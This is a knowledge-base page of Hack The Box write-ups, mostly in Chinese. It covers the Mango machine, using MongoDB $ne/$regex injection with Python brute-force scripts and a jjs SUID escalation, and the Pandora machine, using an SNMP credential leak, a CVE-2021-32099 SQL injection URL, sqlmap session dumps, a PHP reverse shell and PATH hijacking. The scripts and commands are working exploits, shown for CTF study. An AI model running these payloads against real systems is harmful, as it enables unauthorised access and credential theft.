不好意思，这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this...It's a pity...

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="red">***The end,to be continue...***</font>

<!-- kb:end LAMPSecurity-CTF6 -->

</details>

<a id="case-mango"></a>

## MongoDB 运算符与响应侧信道

原记录依据 200 与 302 响应逐字符恢复用户字段，保留 Python 枚举脚本和最后的 Java/SUID 权限分析。

<p class="kb-provenance">来源 mango · 原记录 2020-04-20 · 21 个代码块 · 12 处图片引用</p>

<details class="kb-evidence" id="record-mango">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start mango -->

#### 介绍

操作系统：Linux
难度：中等
点数：30
发行：2019年10月26日
IP：10.10.10.162

user一血用时：04小时28分58秒。
root一血用时：05小时14分45秒。

看来是真特么的耗时间

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb14.jpg)
 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### 信息收集

上nmap

``` bash
C:\Users\HASEE>nmap -p- --min-rate=1000 -T4 -v -sV 10.10.10.162
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http     Apache httpd 2.4.29 ((Ubuntu))
443/tcp open  ssl/http Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

``` bash
C:\Users\HASEE>nmap -p 22,80,443 -A -v 10.10.10.162
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
|   256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_  256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp  open  http     Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
443/tcp open  ssl/http Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Mango | Search Base
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Issuer: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2019-09-27T14:21:19
| Not valid after:  2020-09-26T14:21:19
| MD5:   b797 d14d 485f eac3 5cc6 2fed bb7a 2ce6
|_SHA-1: b329 9eca 2892 af1b 5895 053b f30e 861f 1c03 db95
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  http/1.1
```

Nmap扫描显示运行其通常服务的端口22、80和443。此外，Nmap还发现了一个名为stage -order.mango的vhost。在SSL证书中提到的htb。添加mango.htb和staging-order.mango.htb到/etc/hosts，然后继续枚举。

浏览到端口80将返回一个403禁止错误，然而，HTTPS网站显示了一个搜索引擎。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb15.jpg)

页面只是刷新，搜索时不返回任何结果。第二个vhost在HTTPS上托管返回相同的页面。然而，HTTP网站却只是显示了一个登录页面。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb16.jpg)

尝试使用通用默认凭据登录失败。在Burp中拦截请求并检查登录请求。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb17.jpg)

注入引号没有返回错误或改变响应。由于网站正在运行PHP，可以尝试使用类型杂耍绕过身份验证。
这可以通过向请求参数添加[]来实现，这使得PHP将它们作为数组使用。如果存在任何弱比较，则将绕过身份验证。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb18.jpg)

会导致失败的尝试。尝试一下NoSQL注入攻击，比如MongoDB身份验证绕过。MongoDB使用$ne (not equal)操作符来比较值。这个操作符可以通过数组语法传递给PHP，它最终会被注入到MongoDB查询中。

这是一个例子MongoDB查询找到一个用户

``` bash
db.users.find({ username: "admin", password: "admin" });
```

上面的查询将导致由于密码错误而导致登录失败。发送参数password[$ne]=admin的请求将导致查询:

``` bash
db.users.find({ username: "admin", password: { $ne : "admin" } });
```

这将返回true，因为admin的密码不等于admin，会成功地绕过登录。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb19.jpg)

$ne的注入被发现是成功的，并且页面将重定向到home.php作为admin。使用登录请求重复相同的过程将返回以下页面。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb20.jpg)

#### MongoDB注入

因为主页没有返回任何有用的信息。可以尝试使用$regex操作符从Mongo数据库中提取数据。$regex操作符可用于使用正则表达式查找数据。

例如，下面的查询将搜索匹配

regex a.*

的用户名，匹配任何包含a的用户名。

``` bash
db.users.find({ username: { $regex : "a.*", password: { $ne : "admin" } });
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb21.jpg)

用b.*替换a.*返回200响应，这意味着没有包含b的用户名。编写一个使用此逻辑发现用户名的脚本。


``` bash
from requests import post
from string import lowercase
url = 'http://staging-order.mango.htb/'
def sendPayload():
    for char in lowercase:
        regex = '{}.*'.format(char)
        data = { 'username[$regex]' : regex, 'password[$ne]' : 'password', 'login' : 'login' }
        response = post(url, data = data, allow_redirects=False)
        if response.status_code == 302:
            print "Found valid letter: {}".format(char)
def getUser():
    sendPayload()
if __name__ == '__main__':
    getUser()
```

代码已经缩进好了，直接复制粘贴就可以使用

运行代码，列出DB中所有用户名中出现的所有字符。

``` bash
Found valid letter: a
Found valid letter: d
Found valid letter: g
Found valid letter: i
Found valid letter: m
Found valid letter: n
Found valid letter: o
```

脚本发现了7个有效字符，即a、d、g、i、m、n、o。现在已经减少了字符集，可以尝试显示实际的用户名。regex中的插入符号^用于标记单词的开头。例如，模式^a.*仅当用户名以a开头时才返回true。
类似地，模式^ad.*如果以ad开头的用户名存在，则返回true，以此类推。使用这个逻辑更新脚本。

``` bash
from requests import post
from string import lowercase
url = 'http://staging-order.mango.htb/'
valid = ['a', 'd', 'g', 'i', 'm', 'n', 'o']
def sendPayload(word):
    regex = '^{}.*'.format(word)
    data = { 'username[$regex]' : regex, 'password[$ne]' : 'password', 'login' : 'login' }
    response = post(url, data = data, allow_redirects=False)
    if response.status_code == 302:
        return word
    else:
        return None
def getUser():
    for char in valid:
        if sendPayload(char) != None:
            print "Found username starting with {}".format(char)
if __name__ == '__main__':
    getUser()
```
脚本循环遍历字符集，查找以这些字母中的任何一个开头的用户名。
运行脚本后出现下面的结果

``` bash
Found username starting with a
Found username starting with m
```

发现DB分别包含以a和m开头的用户名。更新脚本以显示真正的用户名。

``` bash
from requests import post
from string import lowercase
url = 'http://staging-order.mango.htb/'
valid = ['a', 'd', 'g', 'i', 'm', 'n', 'o']
def sendPayload(word):
    for char in valid:
        regex = '^{}.*'.format(word + char)
        data = { 'username[$regex]' : regex, 'password[$ne]' : 'password', 'login' : 'login' }
        response = post(url, data = data, allow_redirects=False)
        if response.status_code == 302:
            return char
    return None
def getUser():
    for ch in ['a', 'm']:
        username = ch
        while True:
            char = sendPayload(username)
            if char != None:
                username += char
            else:
                print "Username found: {}".format(username)
                break

if __name__ == '__main__':
    getUser()
```

脚本循环遍历有效字符并查找以a和m开头的用户名。

包含302状态码(URL重定向)的HTTP响应包含一个有效字符，该脚本输出结果如下。

``` bash
Username found: admin
Username found: mango
```

标识了两个有效的用户名，admin和mango。可以尝试使用相同的逻辑来识别他们的密码。

修改脚本如下所示

``` bash
from requests import post
from string import printable
url = 'http://staging-order.mango.htb/'
def sendPayload(user):
    valid = []
    for char in printable:
        regex = '{}.*'.format(char)
        data = { 'username' : user, 'password[$regex]' : regex, 'login' : 'login' }
        response = post(url, data = data, allow_redirects=False)
        if response.status_code == 302:
            valid.append(char)
    return valid
def getUser():
    for user in ['admin', 'mango']:
        valid = sendPayload(user)
        print "Valid characters for {}: {}".format(user, valid)
if __name__ == '__main__':
    getUser()
```

该脚本遍历所有可打印的ASCII字符。分别为两个用户返回有效的字符集，从而减少了下一阶段的请求数量。

运行结果如下

``` bash
Valid characters for admin: ['0', '2', '3', '9', 'c', 't', 'B', 'K', 'S', '!', '#', '$', '.', '>', '\\', '^', '|']
Valid characters for mango: ['3', '5', '8', 'f', 'h', 'm', 'H', 'K', 'R', 'U', 'X', '$', '.', '\\', ']', '^', '{', '|', '~']
```

#### 以上面使用python脚本fuzz出的信息立足，爆破两个用户的密码

现在已经有了两个密码的字符集，更新脚本来查找密码。字符
``` bash
^，$，|，\\和.
```
应该用反斜杠进行转义，因为它们在正则表达式中具有特殊意义，并且可能导致错误的否定。

依照之前爆破用户名脚本的方法修改脚本如下

``` bash
from requests import post
from string import printable
url = 'http://staging-order.mango.htb/'
admin_pass = ['0', '2', '3', '9', 'c', 't', 'B', 'K', 'S', '!', '#', '\\$', '\\.', '>', '\\\\', '\\^', '\\|']
mango_pass = ['3', '5', '8', 'f', 'h', 'm', 'H', 'K', 'R', 'U', 'X', '\\$', '\\.', '\\\\', ']', '\\^', '{', '\\|', '~']
def sendPayload(user, word):
    valid = admin_pass if user == 'admin' else mango_pass
    for char in valid:
        regex = '^{}.*'.format(word + char)
        data = { 'username' : user, 'password[$regex]' : regex, 'login' : 'login' }
        response = post(url, data = data, allow_redirects=False)
        if response.status_code == 302:
            return char
    return None
def getUser():
    for user in ['admin', 'mango']:
        password = ''
        while True:
            char = sendPayload(user, password)
            if char != None:
                password += char
            else:
                print "Password for {} found: {}".format(user, password)
                break
if __name__ == '__main__':
    getUser()
```

该脚本对两个用户都使用有效的字符集，并逐个字符地显示他们的密码。

``` bash
Password for admin found: t9KcS3>!0B#2
Password for mango found: h3mXK8RhU~f{]f5H
```

两个用户的密码都被成功地获取了。用户mango的凭证可以用来通过SSH登录。

#### getshell & 提权

``` bash
Connecting to 10.10.10.162:22...
Connection established.
To escape to local shell, press 'Ctrl+Alt+]'.

Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-64-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Apr 21 05:18:56 UTC 2020

  System load:  0.08               Processes:            99
  Usage of /:   25.8% of 19.56GB   Users logged in:      0
  Memory usage: 14%                IP address for ens33: 10.10.10.162
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

122 packages can be updated.
18 updates are security updates.


Last login: Mon Sep 30 02:58:45 2019 from 192.168.142.138
/usr/bin/xauth:  file /home/mango/.Xauthority does not exist
mango@mango:~$ id
uid=1000(mango) gid=1000(mango) groups=1000(mango)
mango@mango:~$ whoami
mango
mango@mango:~$ sudo -l
[sudo] password for mango: 
Sorry, user mango may not run sudo on mango.
```

找到user.txt但是用户权限不足

``` bash
mango@mango:/home$ cd admin
mango@mango:/home/admin$ ls
user.txt
mango@mango:/home/admin$ cat user.txt
cat: user.txt: Permission denied
```

切换用户，获取user

``` bash
mango@mango:/home/admin$ su admin
Password: 
$ id
uid=4000000000(admin) gid=1001(admin) groups=1001(admin)
$ whoami
admin
$ ls
user.txt
$ cat user.txt
79bf31c6c6eb38a8567832f7f8b47e92
```

下面就是提权步骤了

搜索SUID文件会发现两个不常见的二进制文件，run-mailcap和jjs。

``` bash
$ find / -perm -4000 2>/dev/null
/bin/fusermount
/bin/mount
/bin/umount
/bin/su
/bin/ping
/snap/core/7713/bin/mount
/snap/core/7713/bin/ping
/snap/core/7713/bin/ping6
/snap/core/7713/bin/su
/snap/core/7713/bin/umount
/snap/core/7713/usr/bin/chfn
/snap/core/7713/usr/bin/chsh
/snap/core/7713/usr/bin/gpasswd
/snap/core/7713/usr/bin/newgrp
/snap/core/7713/usr/bin/passwd
/snap/core/7713/usr/bin/sudo
/snap/core/7713/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/7713/usr/lib/openssh/ssh-keysign
/snap/core/7713/usr/lib/snapd/snap-confine
/snap/core/7713/usr/sbin/pppd
/snap/core/6350/bin/mount
/snap/core/6350/bin/ping
/snap/core/6350/bin/ping6
/snap/core/6350/bin/su
/snap/core/6350/bin/umount
/snap/core/6350/usr/bin/chfn
/snap/core/6350/usr/bin/chsh
/snap/core/6350/usr/bin/gpasswd
/snap/core/6350/usr/bin/newgrp
/snap/core/6350/usr/bin/passwd
/snap/core/6350/usr/bin/sudo
/snap/core/6350/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/6350/usr/lib/openssh/ssh-keysign
/snap/core/6350/usr/lib/snapd/snap-confine
/snap/core/6350/usr/sbin/pppd
/usr/bin/newuidmap
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/newgidmap
/usr/bin/run-mailcap
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/at
/usr/bin/traceroute6.iputils
/usr/bin/pkexec
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
```

参考GTFOBins

 - [run-mailcap](https://gtfobins.github.io/gtfobins/run-mailcap/)
 - [jjs](https://gtfobins.github.io/gtfobins/jjs/)

使用Java的Runtime.Exec()函数生成一个shell。

``` bash
$ jjs
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> Java.type('java.lang.Runtime').getRuntime().exec('cp /bin/sh /tmp/sh').waitFor()
0
jjs> Java.type('java.lang.Runtime').getRuntime().exec('chmod u+s /tmp/sh').waitFor()
0
jjs> 
$ cd /tmp
$ ls
hsperfdata_root     systemd-private-daa6581d1d8b4f4ca498d538b165beb7-apache2.service-TSRSE0
mongodb-27017.sock  systemd-private-daa6581d1d8b4f4ca498d538b165beb7-systemd-resolved.service-VipHFk
sh		    systemd-private-daa6581d1d8b4f4ca498d538b165beb7-systemd-timesyncd.service-1Ap17W
$ ./sh -p
# id
uid=4000000000(admin) gid=1001(admin) euid=0(root) groups=1001(admin)
# whoami
root
# cd /root
# ls
root.txt
# cat root.txt
8a8ef79a7a2fbb01ea81688424e9ab15
```

成功的获取了root权限并取得了flag

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb22.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb23.jpg)


<font color="red">知识点总结：</font>

 - 向php请求参数添加[],使用弱比较绕过身份验证
 - NoSQL注入攻击，$ne注入
 - MongoDB注入
 - 正则匹配fuzz查询用户名以及密码
 - 编写python fuzz脚本根据302，200返回页面判断参数是否存在
 - GTFOBins jjs 使用Java的Runtime.Exec()函数生成一个shell
 - chmod u+s /tmp/sh更改shell权限，并使用-p参数提升为root权限

<font color="red">Game over</font>

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="green">***The end,to be continue...***</font>
<!-- kb:end mango -->

</details>

<a id="case-pandora"></a>

## SNMP 凭据与控制台会话注入

SNMP 输出暴露 SSH 账户，内部 Pandora FMS 的查询缺陷改变会话。原文同时保留自动化和手工路径，以及 PATH 提权证据。

<p class="kb-provenance">来源 pandora · 原记录 2022-01-12 · 12 个代码块 · 9 处图片引用</p>

<details class="kb-evidence" id="record-pandora">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start pandora -->

#### introduce

OS: Linux
Difficulty: Easy
Points:	20
Release:	08 Jan 2022
IP:	10.10.11.136

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2122.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### Enumeration
#### NMAP

``` bash
┌──(root💀kali)-[~/hackthebox/machine/pandora]
└─# nmap -sV -v -p- --min-rate=10000 10.10.11.136
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

We see that the TCP ports 22(ssh) and 80(http) are open. Let's check what the port 80 gives us.

Navigating the website, it seems like all are static pages and no dynamic content is being shown. There is one form for filling sending a message to admins, but the form does not do anything except refresh the page. There is also not a robots.txt that may reveal some juicy info. Maybe there are some interesting hidden directories, let's fire gobuster!

``` bash
┌──(root💀kali)-[~/hackthebox/machine/pandora]
└─# gobuster dir -u http://10.10.11.136 -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.136
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/01/12 00:51:23 Starting gobuster in directory enumeration mode
===============================================================
/assets               (Status: 301) [Size: 313] [--> http://10.10.11.136/assets/]
```

Gobuster gives nothing interesting except, the /assets directory which contains javascript and css files and some images. Maybe this is the directory where it is fetching the contents on the main website from.

At this point we don't have much to work with. Let's try a UDP scan.

``` bash
nmap -sU -sC -sV -v 10.10.11.136

Discovered open port 161/udp on 10.10.11.136
```

We got one port(UDP 161) SNMP. Let's see what it has to offer. We run snmpwalk with the public community string.

public is default for most snmp servers and thats why I tried public first, if it doesn't work, one might have to bruteforce the community string.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/pandora]
└─# snmpwalk -v 2c 10.10.11.136 -c public | grep daniel
iso.3.6.1.2.1.25.4.2.1.5.817 = STRING: "-c sleep 30; /bin/bash -c '/usr/bin/host_check -u daniel -p HotelBabylon23'"
iso.3.6.1.2.1.25.4.2.1.5.1119 = STRING: "-u daniel -p HotelBabylon23"
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2123.jpg)

Snmpwalk gave us a bunch of details, but the most interesting one is the credentials of the user Daniel. Apparently there is a process running and the command of that includes the credentials for the user Daniel.

Let's ssh into the box with the obtained credentials. The user "daniel" does not have a lot of privileges. Looking at /etc/passwd, there is one other user matt which might have privileges. Looking around the system, we see that along with the static website that we saw earlier, there is one another web app called pandora. But looking at the sites-enabled config, there seems to be no way to it. But making a curl request from the localhost(victim), shows something interesting.

``` bash
daniel@pandora:~$ curl http://localhost
<meta HTTP-EQUIV="REFRESH" content="0; url=/pandora_console/">
```

It seems like only the localhost might have access to that website. Let's create an ssh tunnel to port 80 so that we can view the website from our machine.

``` bash
ssh -L 80:localhost:80 daniel@10.10.11.136
```

The pandora console opens and asks for credentials.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2124.jpg)

Common login credentials like admin/admin, admin/password don't work. Googling pandora gives us the information that it is a monitoring system. Moreover the version of the pandora is clearly visible on the bottom of the login page: v7.0NG.742. On searching for the exploit specific to this version we come across a very interesting article.

 - [Pandora FMS 742: Critical Code Vulnerabilities Explained](https://blog.sonarsource.com/pandora-fms-742-critical-code-vulnerabilities-explained)

This article gives a detailed explanation of the underlying vulnerability. Using this sql injection we can bypass the login page and get admin access

#### use the following exp

 - [CVE-2021-32099](https://github.com/zjicmDarkWing/CVE-2021-32099)

just access following url

``` bash
http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=' union SELECT 1,2,'id_usuario|s:5:"admin";' as data -- SgGO
```

then refresh the page, then we are in...

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2125.jpg)

#### or just use sqlmap to get admin's PHPSESSID

``` bash
┌──(root💀kali)-[~/hackthebox/machine/pandora]
└─# sqlmap --url="http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=''" -D pandora -T tsessions_php --dump
......
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: session_id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: session_id=-4214' OR 7546=7546#

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: session_id=''' OR (SELECT 8036 FROM(SELECT COUNT(*),CONCAT(0x716b7a6a71,(SELECT (ELT(8036=8036,1))),0x7176716a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- HLHR

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: session_id=''' AND (SELECT 1534 FROM (SELECT(SLEEP(5)))VpEy)-- vAqO
---

Database: pandora
Table: tsessions_php
[49 entries]
+----------------------------+------------------------------------------------------+-------------+
| id_session                 | data                                                 | last_active |
+----------------------------+------------------------------------------------------+-------------+
| 09vao3q1dikuoi1vhcvhcjjbc6 | id_usuario|s:6:"daniel";                             | 1638783555  |
| 0ahul7feb1l9db7ffp8d25sjba | NULL                                                 | 1638789018  |
| 11umescohevmlgeoq1e6clrp4v | id_usuario|s:6:"daniel";                             | 1641955048  |
| 1um23if7s531kqf5da14kf5lvm | NULL                                                 | 1638792211  |
| 2e25c62vc3odbppmg6pjbf9bum | NULL                                                 | 1638786129  |
| 346uqacafar8pipuppubqet7ut | id_usuario|s:6:"daniel";                             | 1638540332  |
| 3me2jjab4atfa5f8106iklh4fc | NULL                                                 | 1638795380  |
| 4f51mju7kcuonuqor3876n8o02 | NULL                                                 | 1638786842  |
| 4nsbidcmgfoh1gilpv8p5hpi2s | id_usuario|s:6:"daniel";                             | 1638535373  |
| 5682e0ou1l66p921j3p93hngea | NULL                                                 | 1641959327  |
| 59qae699l0971h13qmbpqahlls | NULL                                                 | 1638787305  |
| 5bhrjn4ei51vtt33vp18p42sj4 | NULL                                                 | 1641959245  |
| 5fihkihbip2jioll1a8mcsmp6j | NULL                                                 | 1638792685  |
| 5i352tsdh7vlohth30ve4o0air | id_usuario|s:6:"daniel";                             | 1638281946  |
| 69gbnjrc2q42e8aqahb1l2s68n | id_usuario|s:6:"daniel";                             | 1641195617  |
| 6rjav587a3lafqum2oifkvptan | NULL                                                 | 1641959355  |
| 81f3uet7p3esgiq02d4cjj48rc | NULL                                                 | 1623957150  |
| 82k8g5avplsdj83s0mkqkp77l0 | NULL                                                 | 1641959280  |
| 8m2e6h8gmphj79r9pq497vpdre | id_usuario|s:6:"daniel";                             | 1638446321  |
| 8upeameujo9nhki3ps0fu32cgd | NULL                                                 | 1638787267  |
| 9vv4godmdam3vsq8pu78b52em9 | id_usuario|s:6:"daniel";                             | 1638881787  |
| a3a49kc938u7od6e6mlip1ej80 | NULL                                                 | 1638795315  |
| agfdiriggbt86ep71uvm1jbo3f | id_usuario|s:6:"daniel";                             | 1638881664  |
| cojb6rgubs18ipb35b3f6hf0vp | NULL                                                 | 1638787213  |
| d0carbrks2lvmb90ergj7jv6po | NULL                                                 | 1638786277  |
| f0qisbrojp785v1dmm8cu1vkaj | id_usuario|s:6:"daniel";                             | 1641200284  |
| fikt9p6i78no7aofn74rr71m85 | NULL                                                 | 1638786504  |
| fj5973s4hsdkl25lskua24hbsa | NULL                                                 | 1641958908  |
| fqd96rcv4ecuqs409n5qsleufi | NULL                                                 | 1638786762  |
| fvt8eacn87b0um261o6itg0fns | id_usuario|s:5:"admin";alert_msg|a:0:{}new_chat|b:0; | 1641959362  |
| g0kteepqaj1oep6u7msp0u38kv | id_usuario|s:6:"daniel";                             | 1638783230  |
| g4e01qdgk36mfdh90hvcc54umq | id_usuario|s:4:"matt";alert_msg|a:0:{}new_chat|b:0;  | 1638796349  |
| gf40pukfdinc63nm5lkroidde6 | NULL                                                 | 1638786349  |
| heasjj8c48ikjlvsf1uhonfesv | NULL                                                 | 1638540345  |
| hf67p6grm46nvkc89t9jfu8pvo | id_usuario|s:6:"daniel";                             | 1641959232  |
| hsftvg6j5m3vcmut6ln6ig8b0f | id_usuario|s:6:"daniel";                             | 1638168492  |
| jecd4v8f6mlcgn4634ndfl74rd | id_usuario|s:6:"daniel";                             | 1638456173  |
| k4gk31co9jovifc0h7dpdjjhmd | NULL                                                 | 1641959269  |
| kp90bu1mlclbaenaljem590ik3 | NULL                                                 | 1638787808  |
| ne9rt4pkqqd0aqcrr4dacbmaq3 | NULL                                                 | 1638796348  |
| o3kuq4m5t5mqv01iur63e1di58 | id_usuario|s:6:"daniel";                             | 1638540482  |
| ogmrr1pttk20cm1rjjv5buu6s4 | NULL                                                 | 1641959258  |
| oi2r6rjq9v99qt8q9heu3nulon | id_usuario|s:6:"daniel";                             | 1637667827  |
| pjp312be5p56vke9dnbqmnqeot | id_usuario|s:6:"daniel";                             | 1638168416  |
| qq8gqbdkn8fks0dv1l9qk6j3q8 | NULL                                                 | 1638787723  |
| r097jr6k9s7k166vkvaj17na1u | NULL                                                 | 1638787677  |
| rgku3s5dj4mbr85tiefv53tdoa | id_usuario|s:6:"daniel";                             | 1638889082  |
| u5ktk2bt6ghb7s51lka5qou4r4 | id_usuario|s:6:"daniel";                             | 1638547193  |
| u74bvn6gop4rl21ds325q80j0e | id_usuario|s:6:"daniel";                             | 1638793297  |
+----------------------------+------------------------------------------------------+-------------+
......
```

After logging in as admin, we snoop around a bit and see that there is a file upload options. It also seems like the system is written in php. So lets use the good old php-reverse-shell.

go to admin tools -> file manager

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2126.jpg)

We upload the shell and set a listener at 9000 on our machine and navigate to the shell in our browser.

``` bash
http://localhost/pandora_console/images/php-reverse-shell.php
```

Voila! We get a reverse shell with the user matt and we get user.txt. Great!!!

``` bash
┌──(root💀kali)-[~/hackthebox/machine/pandora]
└─# nc -lvp 1234                                         
listening on [any] 1234 ...
10.10.11.136: inverse host lookup failed: Unknown host
connect to [10.10.14.3] from (UNKNOWN) [10.10.11.136] 49270
Linux pandora 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
 13:23:38 up 14 min,  1 user,  load average: 0.00, 0.03, 0.08
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
daniel   pts/0    10.10.14.3       13:09   13:52   0.05s  0.05s -bash
uid=1000(matt) gid=1000(matt) groups=1000(matt)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(matt) gid=1000(matt) groups=1000(matt)
$ whoami
matt
$ python -c 'import pty; pty.spawn("/bin/bash")'
/bin/sh: 3: python: not found
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
matt@pandora:/$
matt@pandora:/home/matt$ cat user.txt
48d4ff3d5d47803c2e69216fb3a7cee9
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2129.jpg)

write a ssh key in matt user's home dir

``` bash
┌──(root💀kali)-[~/hackthebox/machine/pandora]
└─# ssh -i id_rsa matt@10.10.11.136                               
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-91-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed 12 Jan 14:40:31 UTC 2022

  System load:  0.14              Processes:             262
  Usage of /:   63.0% of 4.87GB   Users logged in:       2
  Memory usage: 8%                IPv4 address for eth0: 10.10.11.136
  Swap usage:   0%

  => /boot is using 91.8% of 219MB


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Wed Jan 12 14:39:39 2022 from 10.10.17.32
matt@pandora:~$ id
uid=1000(matt) gid=1000(matt) groups=1000(matt)
matt@pandora:~$ whoami
matt
```

After logging in, the first thing we do is obtain linpeas.sh onto the target system. Running linpeas gives some juicy info, but the most eye catching thing is a binary called pandora_backup with the SUID set.

Looking at the contents of the binary, we see that it is using tar to uncompress something from /root. Since tar is not being called with the absolute path, we can use PATH highjacking to obtain root.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2127.jpg)

We create a local file tar, with contents "/bin/sh", append the path to our PATH env variable and run the binary and we get root and out last flag inside /root

``` bash
matt@pandora:~$ echo "/bin/sh" > tar
matt@pandora:~$ chmod +x tar
matt@pandora:~$ export PATH=$(pwd):$PATH
matt@pandora:~$ /usr/bin/pandora_backup
PandoraFMS Backup Utility
Now attempting to backup PandoraFMS client
# id
uid=0(root) gid=1000(matt) groups=1000(matt)
# whoami
root
# cat /root/root.txt
956517a857308a1537fd51418aa48805
# cat /etc/shadow
root:$6$HM2preufywiCDqbY$XPrZFWf6w08MKkjghhCPBkxUo2Ag5xvZYOh4iD4XcN4zOVbWsdvqLYbznbUlLFxtC/.Z0oe9D6dT0cR7suhfr.:18794:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::
sys:*:18659:0:99999:7:::
